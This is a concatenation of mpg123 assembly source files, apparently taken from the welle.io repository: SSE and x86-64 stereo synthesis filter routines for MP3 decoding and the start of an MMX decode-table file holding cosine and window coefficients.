movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm8, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm10
movaps %xmm3, %xmm11
movaps %xmm9, %xmm12
movaps %xmm5, %xmm13
movaps %xmm6, %xmm14
movaps %xmm7, %xmm15
mulps (B0L), %xmm8
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps -64(B0L), %xmm9
mulps -48(B0L), %xmm5
mulps -32(B0L), %xmm6
mulps -16(B0L), %xmm7
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm10
mulps 48(B0R), %xmm11
mulps -64(B0R), %xmm12
mulps -48(B0R), %xmm13
mulps -32(B0R), %xmm14
mulps -16(B0R), %xmm15
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm11, %xmm10
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm13, %xmm12
addps %xmm15, %xmm14
addps %xmm3, %xmm8
addps %xmm6, %xmm9
addps %xmm10, %xmm0
addps %xmm12, %xmm14
movaps %xmm0, %xmm12
movaps %xmm14, %xmm13
leaq 256(WINDOW), WINDOW
leaq -128(B0L), B0L
leaq -128(B0R), B0R
movups (WINDOW), %xmm10
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm11
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm10, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm14
movaps %xmm3, %xmm15
mulps (B0L), %xmm10
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm14
mulps 48(B0R), %xmm15
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm15, %xmm14
movaps %xmm11, %xmm1
movaps %xmm5, %xmm2
movaps %xmm6, %xmm4
movaps %xmm7, %xmm15
mulps -64(B0L), %xmm11
mulps -48(B0L), %xmm5
mulps -32(B0L), %xmm6
mulps -16(B0L), %xmm7
mulps -64(B0R), %xmm1
mulps -48(B0R), %xmm2
mulps -32(B0R), %xmm4
mulps -16(B0R), %xmm15
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm2, %xmm1
addps %xmm15, %xmm4
addps %xmm3, %xmm10
addps %xmm6, %xmm11
addps %xmm0, %xmm14
addps %xmm4, %xmm1
movaps %xmm1, %xmm15
leaq 256(WINDOW), WINDOW
leaq -128(B0L), B0L
leaq -128(B0R), B0R
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
movaps %xmm12, %xmm4
movaps %xmm14, %xmm5
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
unpcklps %xmm13, %xmm12
unpcklps %xmm15, %xmm14
unpckhps %xmm13, %xmm4
unpckhps %xmm15, %xmm5
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movaps %xmm12, %xmm6
movaps %xmm4, %xmm7
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
movlhps %xmm14, %xmm12
movhlps %xmm6, %xmm14
movlhps %xmm5, %xmm4
movhlps %xmm7, %xmm5
addps %xmm10, %xmm8
addps %xmm1, %xmm0
addps %xmm14, %xmm12
addps %xmm5, %xmm4
addps %xmm8, %xmm0
addps %xmm12, %xmm4
movaps %xmm0, %xmm2
movaps %xmm0, %xmm3
movaps %xmm4, %xmm5
movaps %xmm4, %xmm6
mulps XMMREG_SCALE, %xmm0
mulps XMMREG_SCALE, %xmm4
cmpnleps XMMREG_MAX, %xmm2
cmpltps XMMREG_MIN, %xmm3
cmpnleps XMMREG_MAX, %xmm5
cmpltps XMMREG_MIN, %xmm6
cvtps2dq %xmm0, %xmm0
cvtps2dq %xmm4, %xmm4
xorps %xmm2, %xmm0
xorps %xmm5, %xmm4
movaps %xmm0, %xmm1
unpcklps %xmm4, %xmm0
unpckhps %xmm4, %xmm1
movups %xmm0, (SAMPLES)
movups %xmm1, 16(SAMPLES)
packssdw %xmm5, %xmm2
packssdw %xmm6, %xmm3
psrlw $15, %xmm2
psrlw $15, %xmm3
paddw %xmm3, %xmm2
paddw TEMP_CLIP, %xmm2
movaps %xmm2, TEMP_CLIP
leaq 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movaps TEMP_CLIP, %xmm4
movhlps %xmm4, %xmm0
paddw %xmm4, %xmm0
pshuflw $0x55, %xmm0, %xmm1
pshuflw $0xaa, %xmm0, %xmm2
pshuflw $0xff, %xmm0, %xmm3
paddw %xmm1, %xmm0
paddw %xmm2, %xmm0
paddw %xmm3, %xmm0
movd %xmm0, %eax
andl $0xffff, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
addq $184, %rsp
popq %rdi
popq %rsi
#else
addq $24, %rsp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 8,614 | src/libs/mpg123/synth_stereo_sse_float.S | /*
synth_sse_float: SSE optimized synth (stereo specific, float output version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
/* real *window; */
#define WINDOW %ebx
/* real *b0l; */
#define B0L %edx
/* real *b0r; */
#define B0R %esi
/* real *samples; */
#define SAMPLES %edi
#define TEMP(n) (12+16*n)(%esp)
/*
int synth_1to1_real_s_sse_asm(real *window, real *b0l, real *b0r, real *samples, int bo1);
return value: number of clipped samples (0)
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
scale_sse:
.long 939524096
.long 939524096
.long 939524096
.long 939524096
.text
ALIGN16
.globl ASM_NAME(synth_1to1_real_s_sse_asm)
ASM_NAME(synth_1to1_real_s_sse_asm):
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $128, %esp
pushl %ebx
pushl %esi
pushl %edi
movl 8(%ebp), WINDOW
movl 12(%ebp), B0L
movl 16(%ebp), B0R
movl 20(%ebp), SAMPLES
movl 24(%ebp), %eax
shll $2, %eax
leal 64(WINDOW), WINDOW
subl %eax, WINDOW
#undef _EBX_
#define _EBX_ %eax
GET_GOT
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(0)
movaps %xmm4, TEMP(4)
leal 128(WINDOW), WINDOW
leal 64(B0L), B0L
leal 64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(1)
movaps %xmm4, TEMP(5)
leal 128(WINDOW), WINDOW
leal 64(B0L), B0L
leal 64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(2)
movaps %xmm4, TEMP(6)
leal 128(WINDOW), WINDOW
leal 64(B0L), B0L
leal 64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, %xmm7
movaps %xmm4, TEMP(7)
leal 128(WINDOW), WINDOW
leal 64(B0L), B0L
leal 64(B0R), B0R
movaps TEMP(0), %xmm4
movaps TEMP(1), %xmm5
movaps TEMP(2), %xmm6
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
subps %xmm6, %xmm4
subps %xmm1, %xmm0
addps %xmm4, %xmm0
movaps %xmm0, %xmm2
movaps TEMP(4), %xmm4
movaps TEMP(5), %xmm5
movaps TEMP(6), %xmm6
movaps TEMP(7), %xmm7
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm2, %xmm5
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
subps %xmm6, %xmm4
subps %xmm1, %xmm0
addps %xmm4, %xmm0
mulps LOCAL_VAR(scale_sse), %xmm5
mulps LOCAL_VAR(scale_sse), %xmm0
movaps %xmm5, %xmm1
unpcklps %xmm0, %xmm5
unpckhps %xmm0, %xmm1
movups %xmm5, (SAMPLES)
movups %xmm1, 16(SAMPLES)
leal 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(0)
movaps %xmm4, TEMP(4)
leal 128(WINDOW), WINDOW
leal -64(B0L), B0L
leal -64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(1)
movaps %xmm4, TEMP(5)
leal 128(WINDOW), WINDOW
leal -64(B0L), B0L
leal -64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(2)
movaps %xmm4, TEMP(6)
leal 128(WINDOW), WINDOW
leal -64(B0L), B0L
leal -64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, %xmm7
movaps %xmm4, TEMP(7)
leal 128(WINDOW), WINDOW
leal -64(B0L), B0L
leal -64(B0R), B0R
movaps TEMP(0), %xmm4
movaps TEMP(1), %xmm5
movaps TEMP(2), %xmm6
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
addps %xmm6, %xmm4
addps %xmm1, %xmm0
addps %xmm4, %xmm0
movaps %xmm0, %xmm2
movaps TEMP(4), %xmm4
movaps TEMP(5), %xmm5
movaps TEMP(6), %xmm6
movaps TEMP(7), %xmm7
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm2, %xmm5
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
addps %xmm6, %xmm4
addps %xmm1, %xmm0
addps %xmm4, %xmm0
mulps LOCAL_VAR(scale_sse), %xmm5
mulps LOCAL_VAR(scale_sse), %xmm0
movaps %xmm5, %xmm1
unpcklps %xmm0, %xmm5
unpckhps %xmm0, %xmm1
movups %xmm5, (SAMPLES)
movups %xmm1, 16(SAMPLES)
leal 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
xorl %eax, %eax
popl %edi
popl %esi
popl %ebx
movl %ebp, %esp
popl %ebp
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 8,658 | src/libs/mpg123/synth_stereo_x86_64_float.S | /*
synth_stereo_x86_64_float: SSE optimized synth for x86-64 (stereo specific, float output version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* short *window; */
#define WINDOW %r10
/* short *b0l; */
#define B0L %rdx
/* short *b0r; */
#define B0R %r8
/* short *samples; */
#define SAMPLES %r9
#else
/* real *window; */
#define WINDOW %rdi
/* real *b0l; */
#define B0L %rsi
/* real *b0r; */
#define B0R %rdx
/* real *samples; */
#define SAMPLES %r9
#endif
#define XMMREG_SCALE (%r11) /* {1/32768.0, 1/32768.0, 1/32768.0, 1/32768.0} */
/*
int synth_1to1_real_s_x86_64_asm(real *window, real *b0l, real *b0r, real *samples, int bo1);
return value: number of clipped samples (0)
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
ASM_NAME(scale_x86_64):
.long 939524096
.long 939524096
.long 939524096
.long 939524096
.text
ALIGN16
.globl ASM_NAME(synth_1to1_real_s_x86_64_asm)
ASM_NAME(synth_1to1_real_s_x86_64_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
movl 40(%rsp), %eax /* 5th argument; placed after 32-byte shadow space */
subq $168, %rsp /* stack alignment + 10 xmm registers */
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movaps %xmm15, 144(%rsp)
#endif
leaq ASM_NAME(scale_x86_64)(%rip), %r11
#ifdef IS_MSABI
shlq $32, %rax
shrq $30, %rax
movq %rcx, %r10
#else
movq %r8, %rax
shlq $32, %rax
shrq $30, %rax
movq %rcx, %r9
#endif
leaq 64(WINDOW), WINDOW
subq %rax, WINDOW
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm8
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm9
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm8, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm10
movaps %xmm3, %xmm11
movaps %xmm9, %xmm12
movaps %xmm5, %xmm13
movaps %xmm6, %xmm14
movaps %xmm7, %xmm15
mulps (B0L), %xmm8
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 64(B0L), %xmm9
mulps 80(B0L), %xmm5
mulps 96(B0L), %xmm6
mulps 112(B0L), %xmm7
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm10
mulps 48(B0R), %xmm11
mulps 64(B0R), %xmm12
mulps 80(B0R), %xmm13
mulps 96(B0R), %xmm14
mulps 112(B0R), %xmm15
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm11, %xmm10
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm13, %xmm12
addps %xmm15, %xmm14
addps %xmm3, %xmm8
addps %xmm6, %xmm9
addps %xmm10, %xmm0
addps %xmm12, %xmm14
movaps %xmm0, %xmm12
movaps %xmm14, %xmm13
leaq 256(WINDOW), WINDOW
leaq 128(B0L), B0L
leaq 128(B0R), B0R
movups (WINDOW), %xmm10
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm11
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm10, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm14
movaps %xmm3, %xmm15
mulps (B0L), %xmm10
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm14
mulps 48(B0R), %xmm15
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm15, %xmm14
movaps %xmm11, %xmm1
movaps %xmm5, %xmm2
movaps %xmm6, %xmm4
movaps %xmm7, %xmm15
mulps 64(B0L), %xmm11
mulps 80(B0L), %xmm5
mulps 96(B0L), %xmm6
mulps 112(B0L), %xmm7
mulps 64(B0R), %xmm1
mulps 80(B0R), %xmm2
mulps 96(B0R), %xmm4
mulps 112(B0R), %xmm15
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm2, %xmm1
addps %xmm15, %xmm4
addps %xmm3, %xmm10
addps %xmm6, %xmm11
addps %xmm0, %xmm14
addps %xmm4, %xmm1
movaps %xmm1, %xmm15
leaq 256(WINDOW), WINDOW
leaq 128(B0L), B0L
leaq 128(B0R), B0R
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
movaps %xmm12, %xmm4
movaps %xmm14, %xmm5
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
unpcklps %xmm13, %xmm12
unpcklps %xmm15, %xmm14
unpckhps %xmm13, %xmm4
unpckhps %xmm15, %xmm5
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movaps %xmm12, %xmm6
movaps %xmm4, %xmm7
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
movlhps %xmm14, %xmm12
movhlps %xmm6, %xmm14
movlhps %xmm5, %xmm4
movhlps %xmm7, %xmm5
subps %xmm10, %xmm8
subps %xmm1, %xmm0
subps %xmm14, %xmm12
subps %xmm5, %xmm4
addps %xmm8, %xmm0
addps %xmm12, %xmm4
mulps XMMREG_SCALE, %xmm0
mulps XMMREG_SCALE, %xmm4
movaps %xmm0, %xmm1
unpcklps %xmm4, %xmm0
unpckhps %xmm4, %xmm1
movups %xmm0, (SAMPLES)
movups %xmm1, 16(SAMPLES)
leaq 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm8
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm9
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm8, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm10
movaps %xmm3, %xmm11
movaps %xmm9, %xmm12
movaps %xmm5, %xmm13
movaps %xmm6, %xmm14
movaps %xmm7, %xmm15
mulps (B0L), %xmm8
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps -64(B0L), %xmm9
mulps -48(B0L), %xmm5
mulps -32(B0L), %xmm6
mulps -16(B0L), %xmm7
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm10
mulps 48(B0R), %xmm11
mulps -64(B0R), %xmm12
mulps -48(B0R), %xmm13
mulps -32(B0R), %xmm14
mulps -16(B0R), %xmm15
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm11, %xmm10
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm13, %xmm12
addps %xmm15, %xmm14
addps %xmm3, %xmm8
addps %xmm6, %xmm9
addps %xmm10, %xmm0
addps %xmm12, %xmm14
movaps %xmm0, %xmm12
movaps %xmm14, %xmm13
leaq 256(WINDOW), WINDOW
leaq -128(B0L), B0L
leaq -128(B0R), B0R
movups (WINDOW), %xmm10
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm11
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm10, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm14
movaps %xmm3, %xmm15
mulps (B0L), %xmm10
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm14
mulps 48(B0R), %xmm15
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm15, %xmm14
movaps %xmm11, %xmm1
movaps %xmm5, %xmm2
movaps %xmm6, %xmm4
movaps %xmm7, %xmm15
mulps -64(B0L), %xmm11
mulps -48(B0L), %xmm5
mulps -32(B0L), %xmm6
mulps -16(B0L), %xmm7
mulps -64(B0R), %xmm1
mulps -48(B0R), %xmm2
mulps -32(B0R), %xmm4
mulps -16(B0R), %xmm15
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm2, %xmm1
addps %xmm15, %xmm4
addps %xmm3, %xmm10
addps %xmm6, %xmm11
addps %xmm0, %xmm14
addps %xmm4, %xmm1
movaps %xmm1, %xmm15
leaq 256(WINDOW), WINDOW
leaq -128(B0L), B0L
leaq -128(B0R), B0R
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
movaps %xmm12, %xmm4
movaps %xmm14, %xmm5
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
unpcklps %xmm13, %xmm12
unpcklps %xmm15, %xmm14
unpckhps %xmm13, %xmm4
unpckhps %xmm15, %xmm5
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movaps %xmm12, %xmm6
movaps %xmm4, %xmm7
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
movlhps %xmm14, %xmm12
movhlps %xmm6, %xmm14
movlhps %xmm5, %xmm4
movhlps %xmm7, %xmm5
addps %xmm10, %xmm8
addps %xmm1, %xmm0
addps %xmm14, %xmm12
addps %xmm5, %xmm4
addps %xmm8, %xmm0
addps %xmm12, %xmm4
mulps XMMREG_SCALE, %xmm0
mulps XMMREG_SCALE, %xmm4
movaps %xmm0, %xmm1
unpcklps %xmm4, %xmm0
unpckhps %xmm4, %xmm1
movups %xmm0, (SAMPLES)
movups %xmm1, 16(SAMPLES)
leaq 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
xorl %eax, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
addq $168, %rsp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 5,638 | src/libs/mpg123/tabinit_mmx.S | /*
tabinit_mmx: make_decode_tables_mmx
copyright ?-2006 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by the mysterious higway (apparently)
See synth_mmx.S about license history.
*/
#include "mangle.h"
.data
ALIGN32
.globl ASM_NAME(costab_mmxsse)
ASM_NAME(costab_mmxsse):
.long 1056974725
.long 1057056395
.long 1057223771
.long 1057485416
.long 1057855544
.long 1058356026
.long 1059019886
.long 1059897405
.long 1061067246
.long 1062657950
.long 1064892987
.long 1066774581
.long 1069414683
.long 1073984175
.long 1079645762
.long 1092815430
.long 1057005197
.long 1057342072
.long 1058087743
.long 1059427869
.long 1061799040
.long 1065862217
.long 1071413542
.long 1084439708
.long 1057128951
.long 1058664893
.long 1063675095
.long 1076102863
.long 1057655764
.long 1067924853
.long 1060439283
ALIGN32
intwinbase:
.short 0, -1, -1, -1, -1, -1, -1, -2
.short -2, -2, -2, -3, -3, -4, -4, -5
.short -5, -6, -7, -7, -8, -9, -10, -11
.short -13, -14, -16, -17, -19, -21, -24, -26
.short -29, -31, -35, -38, -41, -45, -49, -53
.short -58, -63, -68, -73, -79, -85, -91, -97
.short -104, -111, -117, -125, -132, -139, -147, -154
.short -161, -169, -176, -183, -190, -196, -202, -208
.short -213, -218, -222, -225, -227, -228, -228, -227
.short -224, -221, -215, -208, -200, -189, -177, -163
.short -146, -127, -106, -83, -57, -29, 2, 36
.short 72, 111, 153, 197, 244, 294, 347, 401
.short 459, 519, 581, 645, 711, 779, 848, 919
.short 991, 1064, 1137, 1210, 1283, 1356, 1428, 1498
.short 1567, 1634, 1698, 1759, 1817, 1870, 1919, 1962
.short 2001, 2032, 2057, 2075, 2085, 2087, 2080, 2063
.short 2037, 2000, 1952, 1893, 1822, 1739, 1644, 1535
.short 1414, 1280, 1131, 970, 794, 605, 402, 185
.short -45, -288, -545, -814, -1095, -1388, -1692, -2006
.short -2330, -2663, -3004, -3351, -3705, -4063, -4425, -4788
